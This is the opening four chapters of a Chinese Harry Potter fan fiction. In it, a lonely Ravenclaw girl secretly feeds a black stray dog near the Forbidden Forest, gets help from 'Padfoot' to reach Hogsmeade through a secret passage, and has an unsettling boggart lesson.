《[HP]一只蜂鸟》
1. 第 1 章
禁林旁边总是有一只黑狗在徘徊。
克洛娜的床刚好对着窗户,夜晚的凉风徐徐吹拂着床帷。克洛娜又看到了那个黑色的影子。
这条流浪狗,从学期刚开始,似乎就一直住在禁林里。克洛娜的宿舍在最高层,从窗口向下看去,禁林、魁地奇球场、草药学教室、黑湖一览无余人,去年的时候,魔法部还没有派来摄魂怪驻守霍格沃茨,城堡上空的猫头鹰飞得自由自在,而今年,就连猫头鹰都不愿意夜空翱翔了。
小天狼星·布莱克越狱了。
克洛娜本学年开学就听说了这个消息。
“圣诞节快到了,我们得注意安全,”金妮·韦斯莱告诉她,“我妈妈说假期之前最容易松懈,魔法部调走了一些摄魂怪,很多魔法部官员都要回家过圣诞节。”
“真想不到魔法部竟然会允许允许它们在魁地奇球场上乱晃。”
“据说布莱克那天出现了,他差点杀了哈利。”
“他们看到了?”
“布莱克是来抓哈利的,他是杀害波特夫妇的凶手,那些摄魂怪就是冲着他来的。”
两个女孩的脑袋凑在一起。礼堂中灯火通明,面前的盘子里放满了多汁的汉堡肉排,软面包和蔬菜。
克洛娜张望了一下,趁着肉排还没有被格兰芬多的学生们抢光,端起盘子,将一整盘肉都倒进自己的小挎包里。
“你怎么还在喂那只黑狗呀?”金妮问。
“嘘,”克洛娜说,她又把另一盘无人问津的西蓝花也倒进背包里,“我没有钱买狗粮。”
“据说狗经常吃调味料会掉毛。”金妮笑着说。
“它看起来还挺浓密的,不怕掉。”
“我可以陪你去禁林,克洛娜,”金妮说,她的表情略微严肃起来,“上次魁地奇比赛,哈利差点从扫帚上掉下来。布莱克还袭击了胖夫人!”
“布莱克的目标不是哈利吗?”
“是,但是——”
“那就说明我没有危险。”
“可——”
“如果遇到摄魂怪,我会跟它们说你好的。”
“好吧,看来你完全不怕。”金妮扬起一边眉毛。克洛娜挑选了几个面包,扔进挎包里。又转过头,盯上了拉文克劳长桌上的炸薯条。她挪向拉文克劳的长桌,把炸得酥脆金黄的薯条也打包带走。
“不过你那条黑狗,它真不是狼吗?”
克洛娜点头。
“它会汪汪叫。”
“狼也会汪汪叫,”金妮耸了耸肩,“说真的,克洛娜,有关于来历不明这件事——”
克洛娜抽出魔杖,对着挎包里的食物用了一个冰冻咒。
“我会小心的。”克洛娜说。“我每天都在看养狗的书。”
毕竟她买不起猫头鹰、猫或者蟾蜍。
她从小就想养一只大型犬。只不过她的麻瓜母亲并没有留给她什么钱,而素未谋面的巫师父亲,在她的记忆里只有一个姓名。她从七岁起就住在姨妈家里,姨妈有三个孩子要养——而克洛娜碰巧还是个女巫。
不过姨妈对克洛娜是女巫这件事,似乎并不是很上心。
克洛娜,全名是克洛娜·巴沙特,在家里一直都是可有可无的存在。
她吃不了多少饭,也不会占用多大空间,衣服都是二手的,发绳只有一条。她只会安静地待在一个角落,发呆或者看图书馆借来的书。
听说霍格沃茨是个寄宿学校,可以给贫困生提供助学金,还能申请一定额度的奖学金,姨妈马不停蹄地把她送到了火车站,将车停在路边,嘱托了一些老生常谈的话,便像驱赶一样将她送进站台了。克洛娜收到信的那一刻起,姨妈就认定,霍格沃茨必定是话剧艺术类中等职业教育院校。
谁能想到魔法是真的呢。
克洛娜这辈子都忘不了,麦格教授带着她来到对角巷的那天。
魔法世界展现在她的眼前,令人眼花缭乱,路过的巫师们手里拎了猫头鹰的笼子,橱窗里的坩埚冒着浓烟,洛哈特在举行粉丝见面会,书店前围得水泄不通。
克洛娜就是那天,遇到的韦斯莱一家人,和金妮交上了朋友。
之后金妮遇袭,被哈利·波特拯救。整整一个暑假,克洛娜收到的信里全都是“哈利”。
金妮几乎用尽了她十二年以来学会的所有词汇,事无巨细地给克洛娜讲述了哈利·波特的悲惨经历,克洛娜写了简短的回信,并且从金妮家里借走了好几本巫师家庭的魔法书。
金妮还给她寄来一本《了解巫师界:咒语与魔法物品大全》。
破旧到看起来经过了她好几个哥哥的摧残。
克洛娜太喜欢这本书了。
夜色深浓,黑狗在禁林旁像个幽灵的影子,它停了一会儿,抬高鼻子,在空气中嗅了嗅,而后压低脑袋,闪身钻进高大的树丛中。克洛娜翻身下床,抓起自己的挎包,想悄无声息地偷偷溜出宿舍。
“深夜去森林,要小心被五足怪的卵寄生。”
卢娜·洛夫古德的声音传来。
克洛娜的室友,卢娜,是个很古怪的女孩。宿舍里的另外两个女孩都不是很喜欢和她说话——她们对于如何考进年级第一更感兴趣——卢娜时常就变成落单的那个。
不过克洛娜和卢娜两人还算聊得来。
卢娜的父亲是有名报刊的作者。
“五足怪不是只会出现在岛上吗?”克洛娜说。
“森林里也能看到它们的身影,它们正在摆脱麦克利沃家族的诅咒。”
卢娜拉开她的床帷,她趴在床上,撑着下巴,正在看一本不停吐出紫色和绿色烟雾的书。不知道内容是什么,但似乎很有趣。
“我喜欢你的挎包,是无痕伸展咒吗?”卢娜问。
“对,”克洛娜说,“但是只能扩大三倍的空间,它还是很沉。”
克洛娜看了一眼窗户,有些担心黑狗走得太远,她就找不到了。
“空间类的法术需要算数占卜,”卢娜说,她微凸的眼睛向克洛娜的挎包看去,而后轻飘飘地补充了一句,“如果你不介意的话,帮我喂一下夜骐好吗?”
“它们太挑食了。”克洛娜说。
“它们是温柔的杂食动物,和狗一样。”卢娜说。
那只黑狗和温柔两个字毫无关系。
几个月前,克洛娜甚至无法靠近它。
它像是患有严重创伤后障碍的流浪动物,对人类都极具敌意。
克洛娜是一次下雨天发现它的,它那时皮毛被淋湿,骨瘦如柴,毛发纠结蓬乱,爪子满是泥泞,指甲还流着血,一双灰色的眼睛凶恶的瞪着路过的克洛娜,口中叼着不知什么小动物的尸体,可能是老鼠。
最初那几天,克洛娜出现在黑狗三米之内的地方,它都会呲牙威胁。<
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但它每次都会把克洛娜带来的肉吃的精光。
逐渐,它似乎习惯了克洛娜的存在,克洛娜已经不用再扔下食物之后飞快地逃跑了,黑狗也不再用牙齿恐吓她。
克洛娜觉得这条黑狗很聪明,所以每天都给它带些吃的。
现在黑狗的毛发逐渐变得有光泽,体型变得更加健康,性格也变好了。它会闻闻克洛娜的手,抬着头盯着她,看她能不能再从挎包里掏出更多食物。
过了一段时间,一只姜黄色的猫也来凑热闹。
克洛娜分了些鸡胸肉给猫,本以为那是只流浪猫,正准备把它抱走,但随后就发现,这只猫是哈利·波特的好友——赫敏·格兰杰养的猫。
霍格沃茨可真小啊,通过两只动物就能证明六度分隔理论。
克洛娜跑过魁地奇球场,悄无声息绕过海格的房子,钻进禁林。冬季的夜里,寒气如同冰锥般无孔不入,每一口吞进肺的气体,都像是一桶寒冷刺骨的冰水,呼出的白汽在空气中消散,地面的冷雨已经冻结成霜,踩上去咯吱作响。
夜骐在远处吃草,克洛娜给它们留下了几个肉排,而后向黑狗藏身的山洞走去。刚走到一半,黑狗就从草丛里蹿出来,步履轻快地靠近她,把鼻子伸到挎包附近。
热气从它的口鼻喷吐出来,克洛娜用手挡开了狗鼻子。
黑狗低低叫了一声,带着些埋怨的情绪。它看向克洛娜的眼神非常委屈,似乎是在责怪克洛娜把肉排送给了那群夜骐。
“也有你的份。”
克洛娜必须把它从挎包前挡开,才能顺利打开挎包,黑狗总是把鼻子塞到她的手边,阻碍她取下挎包的动作。
克洛娜拍了拍它热烘烘的脑袋,从包里取出肉排,递给黑狗。
她原本以为黑狗不会接受从她手中给出的食物。
没想到黑狗往前一凑,一口就叼走了那块肉。克洛娜欣喜若狂,几个月以来的努力总算没有白费。接下来,她可以把黑狗带回去,给它洗个澡。这家伙太臭了,皮毛里肯定还有不少跳蚤。得把它身上的脏毛剃掉,再用咒语驱个虫。然后就可以名正言顺地收养它了。
“叫你什么好呢。”
黑狗津津有味地吃着肉。
“芬里尔?”
黑狗甚至都没有抬一下头。
“阿努比斯?”
黑狗还是不理她。
克洛娜继续说下去,“不如叫犬魔巴格斯特吧,或者……巴斯克维尔的猎犬……地狱三头犬刻耳柏洛斯?”
黑狗瞥了她一眼。
“多酷的名字——你看,你是黑色的,肯定要取一个邪恶炫酷的名字——”克洛娜跟它讲道理,“要么,就叫你布莱克吧,最近有个越狱的食死徒也叫布莱克……我觉得伏地魔也可以,很像法语——”
黑狗忽然愤怒地咆哮起来。
“好吧,好吧,不是伏地魔。”
伏地魔在巫师界是个连狗都嫌的名字。
“你的毛太长了,”克洛娜说,“还是布莱克比较适合你。”
黑狗看起来对布莱克这个名字也不是很满意。
它轻轻呜了一声,又低下头,闻了两下肉排,大口大口吃了起来。
克洛娜忽然想到了一个名字。
“‘伤风’怎么样?因为你总是闻来闻去的——”克洛娜说。
黑狗又不理她了。
2. 第 2 章
第二天上课的时候,克洛娜的脑海中还是挥之不去的黑狗身影。她觉得“伤风”是个不错名字,没有引经据典,也不像“布莱克”那样普通,随处可见,就像怀特、格林和布朗一样——甚至连通缉犯叫“布莱克”——伤风可爱又有趣,不像狼,更像狗。克洛娜决定下次用食物训练一下,按照书里写的那样:教会你的狗狗认识自己的名字。
通常黑魔法防御术都是四个学院一起上课。
克洛娜一直以为这门课是写作课,因为去年洛哈特带了一整套系列小说来上课。直到今年更换了卢平教授,克洛娜才终于知道,黑魔法防御术需要课本的时间很少。
卢平教授带着他们补习了上个学年落下的内容,而后又教了他们缴械咒和障碍咒。
他让同学们两人一组练习咒语,一时间,教室里都是绊倒的学生和乱飞的魔杖。
克洛娜抱着书页泛黄、满是霉味的《了解巫师界》来到卢平教授面前,犹豫了一下。卢平教授向她投来温和的目光。
“怎么了,克洛娜,有什么问题吗?”
“是的,教授。”
克洛娜打开书页,一瞬间,里面贴满的羊皮纸垂落下来,卢平教授下意识伸手去接,而后他好像忽然发觉这些羊皮纸是粘在书页上的。
“伸缩咒?”卢平教授问道。
很多咒语都是同一个魔咒效果的变体,比如说伸缩咒和伸展咒,它们的原理基本上是相同的,学习魔法——就像是学习语言,每个词句之间,都有着相互的关联性。克洛娜能粗浅地用出七年级才学习的无痕伸展咒,虽然和无痕伸展咒真正能做到的效果相差甚远,但做简单的扩展空间不算太难。
很多纯血统的小巫师,在入学那年,就已经掌握了超过三年级的咒语了。
克洛娜觉得自己不应该被落下。
“这是四年级才会学到的咒语,我必须表扬一句,你是个聪明的女巫,克洛娜。”
克洛娜有些不知道应该回答什么,所以她低头去看书。
“这里……教授,”克洛娜指着书上的一行字,“时间转换器。”
卢平教授点了点头。
他双手交叠,放在身前,向那本咒语大全略微倾斜身体,阅读着上面的字:
“时间转换器的使用权限需要向魔法部申请,使用巫师不可用其改变历史,更不能在同一时空中与巫师本人相遇,否则将引发时间乱序而造成不可估量的后果。”
“这个后果……是什么?”克洛娜问。
“好吧,如果你问的是这个——”卢平教授微笑了一下,说道,“——有非常多你绝对不想要触及的严重后果。克洛娜——这本书只有各种魔法的概览,并没有全面的解析,如果你想深入了解魔法,我可以帮你列个书单。”
克洛娜猛地抬起头。
“谢谢!”
……
卢平教授显然是有真才实学的。在克洛娜见过的霍格沃茨两位黑魔法防御术教授中,她可以用自己的所有二手书担保,卢平教授绝对是最好的那个。
但是卢平教授也只教了一年就辞职了。
他是个狼人。
克洛娜觉得狼人不是什么问题,但是其他学生似乎不这么想。
“卢平教授真的走了?”克洛娜说。
“看来是这样,”金妮说,“大部分学生家长都不会同意一个狼人在霍格沃茨任教,尤其是斯莱特林。卢平教授真的是个好老师,太可惜了。”
“我知道,那天就是斯内普教授告诉斯莱特林的。”
“斯内普到底为什么?他就不能试图变得不那么讨人厌吗?”
“我们的黑魔法防御术的理论部分都要由他来批改了,他干嘛要给自己徒增工作量啊?”金妮露出幸灾乐祸的笑容。
克洛娜发现她在这点上和她的双胞胎哥哥非常相似。
“也许他只是喜欢工作。”克洛娜说,“但我还是觉得卢平教授这件事很遗憾,他还给我推荐了书单。真可惜——人们对于他们不了解的东西总是充满恐惧。”
金妮说,“我同意你说的,他们根本不了解卢平教授。”
“我觉得卢平教授咬人的概率甚至比‘伤风’咬人的概率更低。”
“说起来,‘伤风’怎么样了?”金妮问。
克洛娜压低声音说,“我已经半个月都没看见‘伤风’了。”
“它去哪了?”
“不知道。”
伤风莫名其妙地消失了,并且消失得没有半点痕迹。
“我可以把它养在禁林,但是现在它走了。”一提起这件事,克洛娜就觉得心里空荡荡的。
“说不定它只是出去玩了。”
卢娜幽灵般的声音忽然出现。
她穿了一条水母模样的裙子,头发湿漉漉的,看起来像是刚从湖里出来不久。
“你掉进湖里了吗,卢娜?”金妮问。
“哦,”卢娜看了看自己,“只是为了让马形水怪不那么紧张,他们很怕人。”
“我听说它们吃人。”
卢娜淡淡地微笑了一下,“因为遇到它们的麻瓜调查员以为它们是美人鱼——”
她们坐在拉文克劳的长桌上,吃着早餐华夫饼。期末考试周已经结束很久了,暑假前夕的这段时间,既不用上课,又不需要交作业。一些拉文克劳在焦灼地等待成绩单公布,而大部分学生,都沉浸在即将放假的喜悦中。
魔法部部长还亲自来调走了摄魂怪,这也是个天大的好消息。
“对,也许明年你就能再见到它了。”金妮安慰道,“现在天气变得越来越好了,狗都喜欢好天气。”
克洛娜咬了一口华夫饼。
她原本打算把伤风养在禁林里,假期申请留校学习。她不想给姨妈添麻烦,不可能带着一条大黑狗回到姨妈的房子里。她的无痕伸展咒还没有那么熟练,不然她可以将自己旅行箱变成狗笼子,让伤风住在里面。
但是伤风消失了。
就在杀人犯小天狼星·布莱克再次逃逸的那天。
从那之后斯内普教授心情就非常不好,据说他要在每个格兰芬多的魔药课期末考试卷上打“T”,一直和他作对的救世主哈利·波特却每天都高高兴兴的。
金妮看了一眼格兰芬多长桌,又把头转了过来。
她的脸颊有点发红。
“下学期我们就能去霍格莫德了,别忘了让你姨妈签字。”金妮嘱托她,“我觉得你肯定会忘。”
“我不会忘的。”克洛娜保证道。
结果她把这事忘了。
她一整个暑假都在研究卢平教授推荐的那本有关算数占卜的书,从巫师的角度看数学和物理学是一种非常有趣的体验。
算数占卜来源于毕达哥拉斯数秘学。
世界上的一切都是由数字构成的,而魔法是破解麻瓜所无法接触到的现实的捷径,魔法的本质也是算数,魔法有时可以作用在意识层面,也可以由意识影响宏观现实。整个魔法界都遵循卡巴拉生命树的“质点”和“径”,可以通过圆周
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和直线计算每个咒语所施魔法在现实位面的伸展长度。
而魔杖可以将巫师的力量引导至正确的轨道,只要遵循每个法则,挥动魔杖,按照理论来说,任何一种魔咒都可以被创造。
拜托,这本书可是讲了创造魔咒的方法。
谁还能记得必须让姨妈签字才能去学校旁边村落玩这件事。
“我的姨妈平时不太会管我……”
克洛娜讪讪地抓了抓头发。
金妮抱着双臂看向她。
一个暑假没见,她的个子长高了,红发也变长了,如同燃烧的火焰般垂在她的肩后。
“对不起,金妮,”克洛娜说,“我这就给姨妈写信。霍格沃茨离我家有点远,邮局恐怕很晚才能将信送到。”
“我就知道你肯定会忘!克洛娜,我在假期应该多给你写几封信提醒你!??”金妮跺了一下脚,“但我们在世界杯,还遇到了那样的事情——梅林啊,我真该多写几封信!”
“不过弗利维教授应该不会查得那么严格,我想我们可以直接过去。”
“除非你拿不到签字。”
“我知道。”
“学校的猫头鹰肯定特别忙,找不到闲着的谷仓猫头鹰的话,就借用小猪吧。”金妮说。
这是个没听过的名字。
克洛娜问:“小猪?”
“我哥哥的猫头鹰,原本叫朱薇琼。它清闲得很,而且有点精力旺盛,刚好可以给你送信。”
“好,好的。”克洛娜说。
她当天就给姨妈写了一封信。
亲爱的玛丽姨妈:
近来可好?很抱歉打扰您。
请别在意这只猫头鹰,虽然这有点怪,但我们学校的习俗就是用猫头鹰送信。这些猫头鹰比邮差更快,因为它们会飞,而且经过学校专业驯兽师的训练,现在可以夜行千里,还能认路。
学校开学后的新通知,每个学生都需要监护人签字,本周末才可以前往学校外的“霍格莫德”村庄(他们训练猫头鹰只是为了这些紧急信件的邮寄工作)。请您在信笺附上的同意书上签字,猫头鹰会以最快的速度把信送回来。
非常感谢。
你的,克洛娜。
小猪在笼子里乱飞乱撞,发出兴奋而尖利的叫声,它太期待这个任务了,并且信心满满。
克洛娜从挎包里拿出一小盘生肉,放在它的面前作为贿赂。这些肉是克洛娜特地从家养小精灵那里要来的,只有皮肉和骨头,没有羽毛,看起来像是一只矮脚鸡幼鸟被剁成了碎片。
小猫头鹰扑上前,狼吞虎咽地吃了起来。
它吃饭的样子让克洛娜想起走失的“伤风”。
“也不知道伤风现在在哪里……”克洛娜自言自语道。
她摸了摸小猪脑袋顶上的灰色羽毛,将信封上写有姨妈家地址的那一面朝上放。
“拜托一定要帮我把信送到这里,好吗?一定要快。不然金妮绝对会杀了我。”
小猪用一连串尖叫般的声音回答她。这只小猫头鹰模样像是一团绒毛缠成的线球,它在笼子里疯狂挥舞翅膀,甚至因此弄掉了好几根羽毛。
“好了,好了,记住一定要快点送到——”
克洛娜打开笼子门,将信封递给它。
小猪一把抓住信封。一头冲了出去,差点撞上玻璃窗。
“天哪,你可真是太活泼了。”克洛娜把窗台上的羽毛收集起来,放回笼子里。小猫头鹰越飞越远,在月光下变成一个毛茸茸的小点。
3. 第 3 章
周六开始的时候。
金妮、克洛娜和卢娜在城堡里等待小猪。
“它还能飞回来吗。”克洛娜忧心忡忡地说。
小猪不负众望地飞回来了。金妮欣喜地抬起头,笑逐颜开,小猪也异常兴奋,它的翅膀几乎挥舞出残影。
“它回来了!”金妮叫道。
小猪落在金妮的肩膀上,挺起胸前的羽毛。它累得翅膀都塌了下来,绒毛乱蓬蓬的,到处都是被飓风摧残过的痕迹,也不知道这几天它究竟飞了多远的路。但它仍旧坚持着,得意洋洋地伸出腿,让克洛娜取下绑在它脚上的信。
它的脚上绑着克洛娜寄过去的信封,信封已经拆开了,并且还被折叠成更方便携带的样子。克洛娜感到一阵奇怪,她伸手取下信封,拿出里面的信。
竟然还是她寄去的那张信纸。
另一张羊皮纸掉了出来,是霍格莫德访问同意书。
但没有签字。
“?”
克洛娜下意识地想:难道姨妈没有看到这张同意书吗?
“怎么了?”金妮问道。
克洛娜把空白的同意书给金妮看,“我姨妈没给我签字。”
“你的姨妈也对你不好,每天把你关进碗橱柜吗?”金妮下意识地问。
“我姨妈对我挺好的。”
“那……她害怕猫头鹰,所以没有让小猪进屋?”
“但是信封被打开了。”
“克洛娜——”卢娜忽然说,“看信的背面。”
克洛娜疑惑地举起手中的信纸,正面是她自己写给姨妈的解释,以及请求她签字的内容。她将信纸翻了个面,背面同样也有几行字。
字迹整洁,典雅,每个字母都修长而好看,排列在一起如同一首手写诗歌。
尽管上面写着这样的话:
“很遗憾,克洛娜小姐,你的猫头鹰飞错人了。为了不耽误你的时间,我知道几条通往霍格莫德的密道,可以帮你直接去霍格莫德。密道以及通行方法在下面列出——”克洛娜读道,“——祝你在霍格莫德玩得开心,很荣幸为你服务。大脚板。呃——大脚板是什么东西?”
克洛娜感觉有点懵,她抬起头,看到金妮露出了大事不妙的表情。
“你认识这个大脚板吗?”
“呃……”金妮说,“一个亲戚,就是他给罗恩买的小猪……”
三人在同一时间望向小猪。
小猫头鹰还没有意识到自己的信送错了,它瞪大眼睛,还在期待夸奖。
“小猪——你把信送错了!”金妮说,她叹了一口气,指着克洛娜信封上的地址,“这个地址埃罗尔送了无数次信,就连埃罗尔都没有搞错过地址,它都老眼昏花很多年了,你怎么能把地址搞错了呢。”
小猫头鹰似乎现在才发现办错了事,它惭愧地缩成一团,翅膀拉拢下去,用心虚的目光看向金妮。
“事已至此,”克洛娜说,“我们不如试一试大脚板所说的密道。”
“这样做至少要违反三条校规。”金妮兴冲冲地说。
关于违反校规的部分,金妮必定很感兴趣。她已经摩拳擦掌,露出一副十分期待的模样,就好像要是没有费尔奇的追逐,违反校规就不会变得那么有趣刺激似的。格兰芬多总有一种炙热的冒险精神,而拉文克劳——
克洛娜看了一眼身边的卢娜,她正在望着天空的一角出神。
——哦,拉文克劳的字典里或许没有规章制度这个词。
校规确实规定,不允许学生在没有监护人签字的情况下前往霍格莫德,否则将面临一整年都禁止去霍格莫德的惩罚。
“只要不被发现不就行了。”克洛娜说。
金妮高兴地笑了起来。
大脚板没有诓骗她们,密道竟然是真实存在的。
她们对驼背独眼女巫的雕像念出咒语,密道的尽头是蜂蜜公爵的地窖。金妮十分惊喜,她看了一眼克洛娜,似乎有一句话就要脱口而出了,但她猛地停顿一下,选择把话咽了回去。
这种情况在金妮身上并不常见,她总是有什么就说什么。
“有什么事?”克洛娜问她。
“哦,没有。”金妮摆了摆手,“我得跟那个亲戚道个谢。”
她推开地窖的板门,钻了出去,克洛娜和卢娜跟在她的身后,离开阴冷干燥的地窖,糖果的气息像是在空气里融化的枫糖,从各个角落逸散,酸酸甜甜,让人口渴。克洛娜很喜欢吃甜的东西,她向店里张望着。走在密道里的时候,她还在担心这样直接进入店内会不会被察觉到,但现在她发现,担心根本没有必要。
蜂蜜公爵的货架间挤满了人,高年级的学生和低年级的学生都拥挤在这里,喧闹的声音赶得上圣诞折扣时的商场。
金妮挤着去买胡椒小顽童了。
“快来!”她不忘招手催促克洛娜和卢娜。
卢娜用很轻的声音说道:
“那我们走吧。”
……
克洛娜没有给姨妈寄第二封信,要不是情况紧急,她甚至不会向罗恩借来小猪。
要是姨妈看到她上的学校还养猫头鹰,必定又会跟她说:
你妈妈遇人不淑,竟然选择和一个马戏团的骗子结婚。听说你妈妈怀孕,他就抛下妻子,不知道跑到哪里去了——没有留下一分钱!哪怕是你妈妈病死的那年,他也没有回来看一眼,甚至都不知道寄点抚养费过来!你妈妈一直都年轻漂亮,原本可以再嫁个有钱的好先生,但她一直都自己一个人……
这与母亲对克洛娜说的故事大相径庭。
根据母亲的说法,父亲是出远门的时候遭遇了不测,他不是不想回来,而是回不来了。
但是有关父亲的一切,没有照片、没有信件、没有物品,更没有事故卷宗或报道。他就像根本不存在一样,克洛娜甚至也不知道应该相信母亲的话,还是相信姨妈的话。
……还是不要打扰姨妈比较好。
哪怕是圣诞节,克洛娜也觉得在霍格沃茨留校,好过回到姨妈那个小而拥挤的房子里。
去年克洛娜也选择了留校,今年由于三强争霸赛在霍格沃茨举行,霍格沃茨还举办了舞会。一个德姆斯特朗的男孩邀请克洛娜跳舞,克洛娜同意后,金妮热情洋溢地写信求助她妈妈,并且用韦斯莱夫人的旧裙子,改了一条晚礼裙,借给克洛娜穿。只不过那个男孩在被克洛娜踩了三次脚之后,就不再和她跳舞了。
或许因为圣诞节前几天,金妮总是因为礼服尺寸的事情跑来拉文克劳塔楼,迈克尔·科纳和她莫名其妙地熟识了起来。
就像克洛娜与金妮的第一次相遇,金妮像是秋天的太阳一样,任何见到她的人都想和她成为朋友。
一段时间后,迈克尔·科纳就占据了金妮的所有时间。
卢娜也总有自己要做的事情。克洛娜用到霍格沃茨密道的次数越来越少,她和卢娜都不想在寒冷冬季去霍格莫德。
克洛娜又变成孤身一人。
长久以来,她的身边都只有空荡荡的寂静。母亲离开之后,这个世界仿佛就只剩下了克洛娜一个人。即便没有隐形兽皮毛编织的斗篷,她也无法在别人的眼中留下影子。就像是游离在生活与虚空的夹缝中,她更喜欢在书中寻找无声的世界,然后住在里面,因为这样就能忘记现实有多么冷清了。
直到三月的一天。
克洛娜去温室摘魔药作业所需的曼德拉草叶子时,一只羽毛漂亮的蜂鸟从低空飞过。小鸟的翅膀在阳光下反射出五彩光泽,克洛娜仰起头,视线追随着
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鸟羽,向春季的晴空看去。
天气真好。
阳光刺得她不得不眯起眼睛,接着,她在禁林边缘看到了一个黑色的影子。
克洛娜的脑海中蓦然划过金妮对她说过的那句话:
——也许明年你就能再见到它了。
那是一只体型巨大的黑狗。
“伤风!”克洛娜呼唤了一声黑狗的名字。
黑狗似乎很意外她会发现它。
它似乎只是从这里路过,赶着去做别的事情,但是在城堡边缘驻足停留。听到克洛娜的声音,它顿了顿,黑色的尾巴垂了下去,尾巴尖凌乱的、沾着泥巴的长毛扫过粗糙的树皮。
黑狗又变得浑身肮脏,瘦骨嶙峋,腹部凹陷下去,腰背的骨骼凸出,就像克洛娜第一次见到它时那样。
但是它听到自己名字的时候,并没有跑上前来。
当然了,动物的记忆都不算太好。克洛娜不能奢望喂养一年的流浪狗会把自己当成主人,并且在走失数个月之后还能认得名字。黑狗不是她从小养大的,哪怕是一切回到最初,黑狗对她露出牙齿威胁她,她也不介意带着熟肉和南瓜饼每天跑来禁林,和它重新认识一次。
“你去哪了——”
克洛娜拎起长袍,踩进草地里,向黑狗靠近。
越接近森林边缘,灌木就越密集,秋季和冬季遗留下来的大片枯草地中已经长出不少绿色的新草,地面崎岖,野草厚而干燥。
教授们去禁林收集魔药素材通常会走有路的地方,而这里没有道路,只有土坡和石头。
克洛娜费力地穿过草地,努力不被凹凸不平的石头绊倒。
“你还认识我吗——”
下一刻,黑狗一低头,飞快转身,跑进禁林中。
一眨眼就不见了。
“……”
伤风跑了。
它不认识她。
克洛娜停下脚步。她的体力从没有金妮那样出色,一年级直到学期末才学会骑扫帚。就连走路速度,她都要比金妮慢一些,更不用说让她跑进禁林,去追一只大型犬。
她抬起手遮挡阳光,刺目的光线让她的眼睛酸痛。
三月微凉的风拉扯着她的巫师袍,眼前只剩下幽深的树丛和绵延的山坡。
克洛娜失望地垂下手。
她没有对任何人提起自己再遇伤风的这件事。
因为金妮忙着和迈克尔·科纳约会,而卢娜在研究一种能够抵御比利威格虫毒液的烹饪方法——她的床铺上总是堆满了滋滋蜂蜜糖,而且每天都和家养小精灵待在厨房里。
三强争霸赛的最后一个项目要等到两个月之后开始。
霍格沃茨校园平静了下来,学生们对于比赛的新奇感随着春雪一起溶解,现在,大家都已经适应了德姆斯特朗和布斯巴顿在校园里和他们一起学习。
穆迪教授让学生们开始练习对付博格特。
很多同学的博格特都变成了摄魂怪,毕竟去年整整一年,摄魂怪都在他们的脑袋顶上游荡。还有人的博格特变成成堆的蟑螂、吐芯子的大蛇、去世的父母、画着鬼脸的小丑……
“念咒语。”穆迪教授沙哑的声音咆哮道,“别傻站着不动。”
这位黑魔法防御术老师不像卢平教授那么有耐心,常常粗声粗气,颐指气使,拿最可怕的魔法吓唬学生。
尽管他们只上三年级,但却不仅要学习狼人、摄魂怪和巨人,还要学习掏肠咒、刺刑咒、行尸走肉咒等黑魔法的理论知识。穆迪教授告诉他们,黑魔法的力量极其强大,能够折磨人的灵魂,也能使人灵魂寂灭。据说有人学期开始时做了整整一周的噩梦。
轮到克洛娜了,装着博格特的大木箱缓缓打开,这种生物能变成人埋藏在心底的恐惧。
4. 第 4 章
克洛娜也很好奇博格特在面对她的时候会变成什么。
她原本以为自己母亲被推进急救室的样子会出现在教室中央,已经准备好了把急救床变成一种皮划艇,但当她举起魔杖,等待着,最终发现箱子里什么都没有。
什么都没有……?
克洛娜上前一步,往箱子里看去,那只皮箱是穆迪教授从办公室拖出来的,沉重而巨大,里面因为春季的潮湿而发霉,刚好是博格特最喜欢藏身的地点。
里面确实什么都没有。
克洛娜抬起头,看向穆迪教授,“这是怎么回事,教授——”
穆迪教授看向前方,手中撑着拐杖,独眼看向教室里的所有学生,另一只有魔法的眼睛转来转去,他直视前方,似乎并没有听到克洛娜的话。
“教授?”
克洛娜又问了一声。
穆迪教授抿着嘴巴,视线完全没有向克洛娜的方向转移分毫,他站在那里,就像根本看不见克洛娜一样。
克洛娜回过头,看向教室内的其他学生。他们各自交谈着,但似乎都没有发现克洛娜这里的异常,也没发现博格特消失了。金妮和卢娜站在最靠近克洛娜的地方,似乎在聊天。
“金妮,卢娜,”克洛娜叫她们的名字,“你们也看不到博格特吗?”
她的问题没有人回答。
黑魔法防御术教室的窗户透进春季清澈的阳光,将金妮的长发照耀得像是火红的落日一般,卢娜在阳光下发着光,如同森林里的精灵。
金妮忽然笑了起来,似乎卢娜给她讲了一件很有趣的事情。
周围的声音变得嘈杂,学生们交谈的声音如同涨潮般灌入克洛娜的耳朵。她被围绕在其中,但是似乎却找不到容身之处。
克洛娜向人群走了几步,没有人看向她。
她能感觉到阳关的温度,能听到笑声和谈话声,教室却距离她更远了。
她变成了整个教室里唯一的陌生人,仿佛有一层无法触及的、隐形的薄膜,将她与整个世界隔绝。谈话声逐渐变成模糊的喧闹,不停放大,直到震耳欲聋。
好吵……
克洛娜捂住耳朵。
她忽然觉得疲惫不堪,像是再也开心不起来了。
“滑稽滑稽!”穆迪教授的声音吼道。
吵闹声戛然而止,阳光消失了,如同一阵臆想的幻觉。克洛娜茫然地抬起头。
博格特忽然被变成了魔法部官员巴蒂·克劳奇,正在教室中间自娱自乐地跳着滑稽的爵士舞,不时摘下帽子,对学生们夸张地鞠躬。
教室里四个学院的学生都看向克洛娜。
她发现自己正捂着耳朵,跌倒在地蜷缩起来,而她的魔杖掉落在地。她并没有站在人群中,金妮和卢娜身上也根本没有什么奇怪的光晕,她们都站在克洛娜的身后,略有些难以置信地看着她。
克洛娜根本不知道自己的魔杖是什么时候脱手的。
穆迪教授一挥魔杖,魔法部官员巴蒂·克劳奇形状的博格特掉进箱子里,被狠狠关了起来。
“你失败了。”穆迪教授完好的那只眼睛瞥向克洛娜,他冷酷无情地宣布了这个结果,而后转向赫奇帕奇的学生,“——下一个!”
克洛娜晕乎乎地走向学生的队伍中,金妮伸手拉住她。
“你还好吗?”金妮问。
克洛娜点了点头,她停顿了一下,压低声音问道:“刚刚你们看到我的博格特变成了什么吗?”
“教室里刮起一阵狂风。”金妮说,“然后我们看到你跪在地上,像是被吓得不轻的样子,穆迪教授就出手阻止了。”
“什么……”
“或许博格特变不出来你最害怕的‘东西’。”卢娜用梦呓般的声音说。
克洛娜沉默下来。
下一个面对博格特的是个赫奇帕奇的男孩,他对着箱子举起魔杖,箱子缓缓打开,博格特变成了一个拿着斧子的秃头男人,应该是《闪灵》里的某个角色。男人挥起斧子,歇斯底里地狂笑着,向那个赫奇帕奇的学生猛冲过去,在一声“滑稽滑稽”之后,斧子倏地变成了一支巨大的彩虹棒棒糖。
